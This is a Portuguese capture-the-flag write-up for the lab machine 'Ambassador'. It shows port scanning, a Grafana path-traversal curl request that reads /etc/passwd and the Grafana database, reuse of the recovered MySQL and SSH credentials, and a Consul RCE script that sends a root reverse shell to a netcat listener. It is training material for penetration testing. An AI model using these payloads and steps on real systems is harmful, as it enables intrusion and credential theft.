Ambassador

#medium #eWPT #OSCP

Máquina Linux média onde exploramos uma falha de Arbitrary File Read presente no Grafana, o que posteriormente nos levou a credencial de um usuário para obter acesso ao alvo usando o serviço SSH. Por fim, exploramos um RCE presente no serviço consul após encontrar seu token exposto em um projeto git, de modo que pudemos escalar privilégios obtendo uma shell como root.

Portscan

Comecei executando um ping no endereço IP do alvo para determinar o sistema operacional em uso. O valor TTL mais próximo de 64 indica que há grandes chances do alvo estar executando um sistema operacional Linux.

> ping -c 1 10.10.11.183            
PING 10.10.11.183 (10.10.11.183): 56 data bytes
64 bytes from 10.10.11.183: icmp_seq=0 ttl=63 time=432.689 ms
--- 10.10.11.183 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max/stddev = 432.689/432.689/432.689/0.000 ms

Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta nmap para verificar todas as portas (1-65535) no alvo.

> nmap -sS -p- --min-rate 5000 -v -n -Pn -oG portsTCP.gnmap 10.10.11.183
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
3306/tcp open  mysql

A varredura revelou as portas abertas, portanto, ainda com o nmap, verifiquei quais versões de serviços estavam presentes nessas portas, bem como executei alguns scripts de enumeração padrão. Com isso, foram revelados os serviços SSH, MySQL e HTTP e suas respectivas versões.

> nmap -sCV -p 22,80,3000,3306 -n -Pn -oX nmap.xml -oN nmap.txt 10.10.11.183
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 29dd8ed7171e8e3090873cc651007c75 (RSA)
|   256 80a4c52e9ab1ecda276439a408973bef (ECDSA)
|_  256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Hugo 0.94.2
|_http-title: Ambassador Development Server
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open  ppp?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Sun, 15 Jan 2023 04:46:52 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Sun, 15 Jan 2023 04:46:17 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Sun, 15 Jan 2023 04:46:24 GMT
|_    Content-Length: 0
3306/tcp open  mysql   MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.30-0ubuntu0.20.04.2
|   Thread ID: 103
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, SupportsLoadDataLocal, Speaks41ProtocolOld, SupportsTransactions, FoundRows, ConnectWithDatabase, SwitchToSSLAfterHandshake, LongPassword, Speaks41ProtocolNew, IgnoreSigpipes, InteractiveClient, ODBCClient, SupportsCompression, IgnoreSpaceBeforeParenthesis, LongColumnFlag, DontAllowDatabaseTableColumn, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: \p!D%O]d\x0B~C
| kSs\x187iY8
|_  Auth Plugin Name: caching_sha2_password
...

HTTP (80, 3000) Enumeration

Em seguida, procedi a enumerar os serviços HTTP usando a ferramenta whatweb para coletar informações sobre o software e a versão do servidor web. A saída mostra que na porta 80 um servidor web Apache/2.4.41 está rodando, enquanto a porta 3000 retornou um status de 302. Nada diferente do que obtemos com nmap anteriormente.

> whatweb -v http://10.10.11.183 http://10.10.11.183:3000 | tee whatweb.txt
WhatWeb report for http://10.10.11.183
Status    : 200 OK
Title     : Ambassador Development Server
IP        : 10.10.11.183
Country   : RESERVED, ZZ

Summary   : Apache[2.4.41], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], MetaGenerator[Hugo 0.94.2], Open-Graph-Protocol[website], X-UA-Compatible[IE=edge]

HTTP Headers:
        HTTP/1.1 200 OK
        Date: Sun, 15 Jan 2023 04:50:23 GMT
        Server: Apache/2.4.41 (Ubuntu)
        Last-Modified: Fri, 02 Sep 2022 01:37:04 GMT
        ETag: "e46-5e7a7c4652f79-gzip"
        Accept-Ranges: bytes
        Vary: Accept-Encoding
        Content-Encoding: gzip
        Content-Length: 1310
        Connection: close
        Content-Type: text/html
        

WhatWeb report for http://10.10.11.183:3000
Status    : 302 Found
Title     : <None>
IP        : 10.10.11.183
Country   : RESERVED, ZZ

Summary   : Cookies[redirect_to], HttpOnly[redirect_to], RedirectLocation[/login], UncommonHeaders[x-content-type-options], X-Frame-Options[deny], X-XSS-Protection[1; mode=block]

HTTP Headers:
        HTTP/1.1 302 Found
        Cache-Control: no-cache
        Content-Type: text/html; charset=utf-8
        Expires: -1
        Location: /login
        Pragma: no-cache
        Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
        X-Content-Type-Options: nosniff
        X-Frame-Options: deny
        X-Xss-Protection: 1; mode=block
        Date: Sun, 15 Jan 2023 04:50:23 GMT
        Content-Length: 29
        Connection: close

Acessando o servidor na porta 3000, vemos que o redirecionamento está sendo feito para um painel de login do Grafana, versão 8.2.0.

Iniciando a busca de possíveis vulnerabilidades presentes no Grafana usando a ferramenta searchsploit, vemos que há um bug de Directory Traversal e Arbitrary File Read presente na versão 8.3.0, portanto é possível que este bug também exista na versão anterior (8.2.0) que está rodando no nosso alvo.

> searchsploit grafana                               
--------------------------------------------------------------- ---------------------------
 Exploit Title                                                 |  Path
--------------------------------------------------------------- ---------------------------
Grafana 7.0.1 - Denial of Service (PoC)                        | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read    | multiple/webapps/50581.py
--------------------------------------------------------------- ---------------------------

Arbitrary File Read

Inspecionando o script com o comando searchsploit -x multiple/webapps/50581.py, podemos ver a PoC de como este bug é explorado. Ao enviar a requisição da PoC para o alvo usando curl, vemos que o servidor é vulnerável, assim podemos ver os arquivos do alvo arbitrariamente.

> curl -s --path-as-is -X GET 'http://10.10.11.183:3000/public/plugins/welcome/../../../../../../../../../../../../../etc/passwd' | tee passwd.txt 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false

Salvando a saída do /etc/passwd do alvo, podemos filtrar os usuários nele que têm alguma shell, com isso vemos a presença dos users root e developer.

> grep sh$ passwd.txt                                                      
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash

Procurando informações sobre arquivos importantes do Grafana, há seu banco de dados "grafana.db", podemos então buscá-lo no diretório /var/lib/grafana.

> curl -s --path-as-is -X GET 'http://10.10.11.183:3000/public/plugins/welcome/../../../../../../../../../../../../../var/lib/grafana/grafana.db' | tee grafana.db

O arquivo existe no alvo e é um banco de dados SQL.

> file grafana.db 
grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 804, database pages 161, cookie 0x119, schema 4, UTF-8, version-valid-for 804

No Linux você pode usar a ferramenta sqlite3 para abrir o arquivo, mas como tenho a tendência de me organizar e fazer tudo no VSCode, estarei usando a extensão SQL Tools.

Ambas as ferramentas permitem que você visualize o grafana.db. Verificando as tabelas do banco de dados, em data_source encontramos uma credencial de um banco de dados.

Com SQL Tools podemos exportar essa informação em JSON para análise futura.

> cat data_source.json 
[
  {
    "id": 2,
    "org_id": 1,
    "version": 1,
    "type": "mysql",
    "name": "mysql.yaml",
    "access": "proxy",
    "url": "",
    "password": "dontStandSoCloseToMe63221!",
    "user": "grafana",
    "database": "grafana",
...

MySQL (3306) Enumeration

Como esta é uma credencial de banco de dados e temos a porta 3306 do serviço MySQL aberta, podemos então tentar acessá-la. A credencial é válida, portanto, podemos extrair o conteúdo deste banco de dados.

Chama atenção o banco de dados whackywidget por ser um nome muito diferente dos demais que aparentam ser algo mais convencional e padrão. Então vamos enumerá-lo.

> mysql -h 10.10.11.183 -ugrafana -p'dontStandSoCloseToMe63221!'
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 109
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
6 rows in set (0.173 sec)

MySQL [(none)]> use whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users                  |
+------------------------+
1 row in set (0.171 sec)
MySQL [whackywidget]> describe users;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| user  | varchar(255) | YES  |     | NULL    |       |
| pass  | varchar(255) | YES  |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+
2 rows in set (0.179 sec)
MySQL [whackywidget]> select user,pass from users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0.175 sec)

Gaining Access

Assim, no banco de dados wackywidget temos a presença do user developer com uma senha aparentemente codificada com base64. Então podemos decodificar a senha e vê-la em texto simples.

> echo 'YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==' | base64 -d
anEnglishManInNewYork027468

Como o serviço SSH está presente na porta 22 do alvo e vimos anteriormente que nele há um user developer com shell, podemos verificar se esta credencial está sendo reutilizada para acesso via SSH.

> ssh developer@10.10.11.183
developer@10.10.11.183's password: 

developer@ambassador:~$ hostname -I
10.10.11.183 dead:beef::250:56ff:feb9:e54f

De fato a credencial é válida, assim podemos ver a flag user.txt.

developer@ambassador:~$ cat user.txt 
129b8c1afddff7fdc9ff085647c4546b

Com essa flag, concluímos o primeiro objetivo do CTF e podemos passar para a próxima etapa de escalar privilégios para obter acesso a flag root.txt.

Privilege Escalation

Fazendo uma descoberta interna do alvo, no diretório /opt, temos o repositório my-app.

developer@ambassador:~$ ls -la /opt/my-app/.git
total 52
drwxrwxr-x  8 root root 4096 Mar 14  2022 .
drwxrwxr-x  5 root root 4096 Mar 13  2022 ..
drwxrwxr-x  2 root root 4096 Mar 13  2022 branches
-rw-rw-r--  1 root root   19 Mar 13  2022 COMMIT_EDITMSG
-rw-rw-r--  1 root root   92 Mar 14  2022 config
-rw-rw-r--  1 root root   73 Mar 13  2022 description
-rw-rw-r--  1 root root   21 Mar 14  2022 HEAD
drwxrwxr-x  2 root root 4096 Mar 13  2022 hooks
-rw-rw-r--  1 root root  907 Mar 14  2022 index
drwxrwxr-x  2 root root 4096 Mar 13  2022 info
drwxrwxr-x  3 root root 4096 Mar 13  2022 logs
drwxrwxr-x 25 root root 4096 Mar 13  2022 objects
drwxrwxr-x  4 root root 4096 Mar 13  2022 refs

Git Enumeration

Nele há um .git, então podemos visualizar o histórico de seus logs. O primeiro log possui a descrição tidy config script, que representa alguma "correção" que foi feita no script de configuração, e isto chama a atenção.

developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:44:45 2022 +0000

    config script

commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:47:01 2022 +0000

    created project with django CLI

commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:44:11 2022 +0000

    .gitignore

Visualizando este log, vemos um token da ferramenta consul sendo removido. Potencialmente se trata de um token que sem querer estava exposto no repositório e mais tarde, quando se deram conta, foi removido.

developer@ambassador:/opt/my-app$ git show 33a53ef9a207976d5ceceddc41a199558843bf3c
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
 # We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
 
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD

E esta ferramenta consul se faz presente no alvo. Portanto, podemos guardar este token pois o mesmo pode ser válido e útil posteriormente.

developer@ambassador:~$ consul version
Consul v1.13.2
Revision 0e046bbb
Build Date 2022-09-20T20:30:07Z
Protocol 2 spoken by default, understands 2 to 3 (agent will automatically use protocol >2 when speaking to compatible agents)
  • what is consul?

Consul is a service networking solution to automate network configurations, discover services, and enable secure connectivity across any cloud or runtime.

  • what is consul default port?

UseDefault Ports

DNS: The DNS server (TCP and UDP)

8600

HTTP: The HTTP API (TCP Only)

8500

HTTPS: The HTTPs API

disabled (8501)*

gRPC: The gRPC API

disabled (8502)*

LAN Serf: The Serf LAN port (TCP and UDP)

8301

Wan Serf: The Serf WAN port (TCP and UDP)

8302

server: Server RPC address (TCP Only)

8300

Sidecar Proxy Min: Inclusive min port number to use for automatically assigned sidecar service registrations.

21000

Sidecar Proxy Max: Inclusive max port number to use for automatically assigned sidecar service registrations.

21255

Após buscar o que é consul e suas portas padrões, com netstat podemos ver que aparentemente ele está em execução no alvo.

developer@ambassador:/opt/my-app$ netstat -na
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:8301          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8302          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8500          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8600          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8300          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8300          127.0.0.1:50665         ESTABLISHED
tcp        0      0 127.0.0.1:46013         127.0.0.1:8300          ESTABLISHED
tcp        0    208 10.10.11.183:22         10.10.14.22:36604       ESTABLISHED
tcp        0      1 10.10.11.183:33954      8.8.8.8:53              SYN_SENT   
tcp        0      0 127.0.0.1:8300          127.0.0.1:46013         ESTABLISHED
tcp        0      0 127.0.0.1:50665         127.0.0.1:8300          ESTABLISHED
tcp        0      1 10.10.11.183:35988      10.10.16.13:1337        SYN_SENT   
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 :::3000                 :::*                    LISTEN     
udp        0      0 127.0.0.1:8600          0.0.0.0:*                          
udp        0      0 127.0.0.1:47788         127.0.0.53:53           ESTABLISHED
udp        0      0 127.0.0.53:53           0.0.0.0:*                          
udp        0      0 0.0.0.0:68              0.0.0.0:*                          
udp        0      0 127.0.0.1:8301          0.0.0.0:*                          
udp        0      0 127.0.0.1:8302          0.0.0.0:*
...

Procurando no searchsploit por alguma vulnerabilidade relacionada ao consul, vemos que existe um RCE, no entanto o script foi projetado para funcionar com Metasploit.

> searchsploit consul                                 
----------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                               |  Path
----------------------------------------------------------------------------- ---------------------------------
Hashicorp Consul - Remote Command Execution via Rexec (Metasploit)           | linux/remote/46073.rb
Hashicorp Consul - Remote Command Execution via Services API (Metasploit)    | linux/remote/46074.rb
Hassan Consulting Shopping Cart 1.18 - Directory Traversal                   | cgi/remote/20281.txt
Hassan Consulting Shopping Cart 1.23 - Arbitrary Command Execution           | cgi/remote/21104.pl
PHPLeague 0.81 - '/consult/miniseul.php?cheminmini' Remote File Inclusion    | php/webapps/28864.txt
----------------------------------------------------------------------------- -------------------------

Sendo assim, comecei a procurar por scripts existentes no GitHub como alternativa. Então, encontrei o script abaixo.

Podemos copiar o raw do script Python presente no repositório e colá-lo no alvo.

Analisando como o script funciona, basicamente temos que passar o IP e uma porta de nossa máquina atacante para receber uma reverse shell privilegiada. Também deve ser indicado um token do consul, e como anteriormente vimos um token nos logs do git, vamos testar com ele para ver se funciona.

developer@ambassador:/dev/shm$ python3 consul.py --lhost  --lport 443 --token bb03b43b-1d81-d62b-24b5-39540ee469b5

[+] Request sent successfully, check your listener

Ao executar o script, nos colocando em escuta com netcat na nossa máquina atacante, o RCE será explorado e assim receberemos uma reverse shell como root.

> nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.11.183] 37746
bash: cannot set terminal process group (37785): Inappropriate ioctl for device
bash: no job control in this shell
root@ambassador:/# hostname -I
hostname -I
10.10.11.183 dead:beef::250:56ff:feb9:e54f

Então basta ler a flag root.txt no diretório /root para concluir o objetivo do CTF.

root@ambassador:/# cat /root/root.txt
cat /root/root.txt
5aa400a14a5934feee966bb0adaa19b6

Atualizado